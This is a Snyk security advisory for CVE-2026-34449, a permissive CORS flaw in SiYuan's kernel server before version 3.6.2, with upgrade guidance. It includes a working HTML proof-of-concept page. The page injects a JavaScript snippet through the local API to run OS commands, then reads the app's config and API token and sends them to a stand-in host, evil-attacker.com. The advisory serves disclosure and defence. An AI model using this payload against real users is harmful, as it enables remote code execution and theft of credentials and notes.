Permissive Cross-domain Policy with Untrusted Domains Affecting github.com/siyuan-note/siyuan/kernel/server package, versions <3.6.2
Threat Intelligence
Snyk has a proof-of-concept or detailed explanation of how to exploit this vulnerability.
The probability is the direct output of the EPSS model, and conveys an overall sense of the threat of exploitation in the wild. The percentile measures the EPSS probability relative to all known EPSS scores. Note: This data is updated daily, relying on the latest available EPSS model version. Check out the EPSS documentation for more details.
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Test your applications- Snyk IDSNYK-GOLANG-GITHUBCOMSIYUANNOTESIYUANKERNELSERVER-15922419
- published7 Apr 2026
- disclosed31 Mar 2026
- creditzerotrail, Sajda Kabir
Introduced: 31 Mar 2026
CVE-2026-34449 Â (opens in a new tab)How to fix?
Upgrade github.com/siyuan-note/siyuan/kernel/server to version 3.6.2 or higher.
Overview
Affected versions of this package are vulnerable to Permissive Cross-domain Policy with Untrusted Domains through the permissive CORS policy in the serve.go middleware and the snippet injection process. An attacker can execute arbitrary code and exfiltrate sensitive data by enticing a user to visit a malicious website while the application is running.
PoC
<!DOCTYPE html>
<html>
<body>
<h1>Innocent looking page</h1>
<script>
// Step 1: Inject a JS snippet that runs OS commands via Electron/Node.js
fetch('http://127.0.0.1:6806/api/snippet/setSnippet', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'},
body: JSON.stringify({
snippets: [{
id: 'exploit-' + Date.now(),
name: 'system-update',
type: 'js',
content: 'require("child_process").exec("id > /tmp/siyuan-rce-proof")',
enabled: true
}]
})
}).then(r => r.json()).then(d => {
console.log('Snippet injected:', d);
});
// Step 2 (optional): Exfiltrate API token and all notes
fetch('http://127.0.0.1:6806/api/system/getConf', {
method: 'POST',
credentials: 'include',
headers: {'Content-Type': 'application/json'}
}).then(r => r.json()).then(d => {
// Send API token and config to attacker server
fetch('https://evil-attacker.com/collect', {
method: 'POST',
body: JSON.stringify(d.data)
});
});
</script>
</body>
</html>